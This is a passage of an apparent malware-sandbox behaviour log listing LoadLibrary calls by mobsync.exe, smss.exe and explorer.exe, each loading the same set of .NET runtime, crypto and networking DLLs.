"mobsync.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00004000) "smss.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005812) "smss.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005812) "explorer.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\IMM32.DLL (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003900) "explorer.exe" called "LoadLibrary" with a parameter 